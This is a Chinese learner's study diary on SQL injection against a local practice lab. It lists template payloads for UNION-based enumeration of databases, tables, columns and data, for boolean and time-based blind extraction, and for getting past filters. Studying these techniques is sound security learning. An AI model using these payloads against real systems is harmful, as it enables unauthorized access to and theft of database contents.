20201216学习日记---sql注入(二)
前面认识了一些 sql的操作 ,下面进一步探究。
注入攻击的本质,是把用户输入的数据当做代码执行
GET注入-SQL显错注入
判断注入点
显错注入最简单的方法:页面传参后加 ‘,看看是否报错。
最古老的方法:1=1//页面正常1=2//页面不正常
GET注入一般分为
- 单引号型 在参数后加’
- 数字型 在参数后加数字
- 单引号变形 在参数后加’)
- 双引号 在参数后加”
显错注入-联合查询
1 | union select * from users--+ |
其实看了挺久 ,为什么需要添加–+呢?
后来通过查询发现,提交的语句为127.0.0.1/less-1/?id=’1’ order by 3’ 这样就会报错,但是加了注释,提交的语句就是这样127.0.0.1/less-1/?id=’1’ order by 3#’,后面的单引号就被注释掉了,就没有问题。
常用显错注入语句
and 1=1/and 1=2 | 判断是否存在注入 |
---|---|
and 1=1 order by 3 | 按哪一列进行排序,从而可以确定有多少列 |
and 1=2 union select 1,2,3 | 查看页面中显示哪些数字,比如显示2,3 |
and 1=2 union select 1,2,database() | 原本显示3的位置会显示数据库名称 |
and 1=2 union select 1,2,version() | 会显示数据库版本 |
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= database() | 查询当前数据库下的表名 |
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’表名’ | 查看数据库字段名 |
and 1=2 union select 1,2,group_concat(字段名) from 表名 | 查看字段内容 |
GET注入-盲注
get盲注一般分为
基于布尔的盲注。这种方法主要通过页面的返回内容不同来获取信息。
基于时间的盲注。这种方法主要通过页面的响应时间不同来获取信息。
盲注需要掌握的MySQL相关函数
1
2
3
4
5
6
7length(str)#返回str字符串的长度。如执行select
length(database())#则会返回当前数据库名称的长度。而单独select
database()#则回返回当前数据库的名称。
substr(str, pos, len)#从pos位置取出str字符串的len个字符。如
select substring('abcde', 4, 2)#则返回de,pos为负则倒数pos个位置
select substring('abcde', -4, 2);#返回bc。
ASCII(str)#返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。如select ASCII('a')返回97。除此之外还有条件语句
1
if ((exp1, exp2, exp3) #为条件判断语句。当exp1的值为true时候,返回exp2,否则返回exp3。
在注入的时候上述的语句容易被拦截 故可用下面的语句代替
1
select case when (条件) then 代码1 else 代码2 end
布尔盲注
原理:在页面中,如果正确执行了sql语句,则返回一种页面,如果执行错误,则执行另一种页面。基于这两种页面,判断sql正确与否。
获取(猜测)数据库长度
1 | and (select length(database()))>长度--+ |
猜测数据表名称
1 | and (select ascii(substr(database(),1,1)))>名称--+ |
猜解表名数量
1 | and (select count(table_name) from information_schema.tables where table_schema=database())=数量 |
猜解某个表长度
1 | and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度 #同理n从0来表示变化的表来求该库下的对应的表的长度 |
逐位猜解表名
1 | and (select ascii(substr(table_name,1,1)) from information_schema.tables |
猜解列名数量
1 | and (select count(*) from information_schema.columns where table_schema =database() and table_name = 表名)=数量#information_schema.columns 专门用来存储所有的列 |
猜解某个列长度
1 | and (select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度 |
逐位猜解列名
1 | and (select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码 |
判断数据的数量
1 | and (select count(列名) from 表名)=数量 |
猜解某条数据的长度
1 | and (select length(列名) from 表名 limit n,1)=长度 |
逐位猜解数据
1 | and (select ascii(substr(user,位数,1)) from 表名 limit n,1)=ascii码 |
时间盲注
布尔盲注是根据页面正常否进行注入,而时间盲注则是通过SQL语句查询的时间来进行注入,一般是在页面无回显,无报错的情况下使用
可以通过F12来看其页面回显的时间与布尔盲注是一样的
猜解数据库长度
1 | and if((select length(database()))=长度,sleep(6),0) |
猜解数据库名
1 | and if((select ascii(substr(database(),位数,1))=ascii码),sleep(6),0) |
判断表名的数量
1 | and if((select count(table_name) from information_schema.tables where table_schema=database())=个数,sleep(6),0) |
判断某个表名的长度
1 | and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度,sleep(6),0) |
逐位猜表名
1 | and if((select ascii(substr(table_name,位数,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii码,sleep(6),0) |
判断列名数量
1 | and if((select count(column_name) from information_schema.columns where table_name="表名")=个数,sleep(6),0) |
判断某个列名的长度
1 | and if((select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度,sleep(6),0) |
逐位猜列名
1 | and if((select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码,sleep(6),0) |
判断数据的数量
1 | and if((select count(列名) from 表名)=个数,sleep(6),0) |
判断某个数据的长度
1 | and if((select length(列名) from 表名)=长度,sleep(6),0) |
逐位猜数据
1 | and if((select ascii(substr(列名,n,1)) from 表名)=ascii码,sleep(6),0) |
写在后面
本次学习习得了两种常用注入方式,进而在此过程中提高了对sql语句的认知,但是说实话这些语句需要备忘录,很多会忘记。
看了那么多 我又想起了最初的那一句话
除了get注入之外 还有post注入、headers注入等注入方式,接下来将对其展开学习。